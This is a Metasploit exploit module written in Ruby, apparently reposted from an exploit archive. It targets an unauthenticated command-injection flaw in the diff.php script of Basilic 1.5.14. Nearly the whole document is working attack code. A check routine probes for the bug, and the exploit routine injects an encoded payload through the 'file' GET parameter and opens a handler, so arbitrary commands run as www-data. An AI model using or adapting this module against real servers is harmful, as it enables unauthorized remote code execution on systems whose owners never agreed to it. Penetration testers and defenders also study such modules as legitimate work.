Basilic 1.5.14 – ‘diff.php’ Arbitrary Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution', 'Description' => %q{ This module abuses a metacharacter injection vulnerability in the diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary commands as the www-data user account. }, 'Author' => [ 'lcashdollar', 'sinn3r', 'juan' ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '54234' ] ], 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet' } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 28 2012' )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/']) ], self.class) end def check base = target_uri.path base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ 'uri' => "/#{base}/Config/diff.php", 'vars_get' => { 'file' => sig, 'new' => '1', 'old' => '2' } }) if res and res.body =~ /#{sig}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def exploit print_status("Sending GET request...") base = target_uri.path base << '/' if base[-1, 1] != '/' res = send_request_cgi({ 'uri' => "/#{base}/Config/diff.php", 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', 'old' => '2' } }) if res and res.code == 404 then print_error("404 Basilic not installed or possibly check URI Path.") else vprint_line(res.body) if res end handler end end |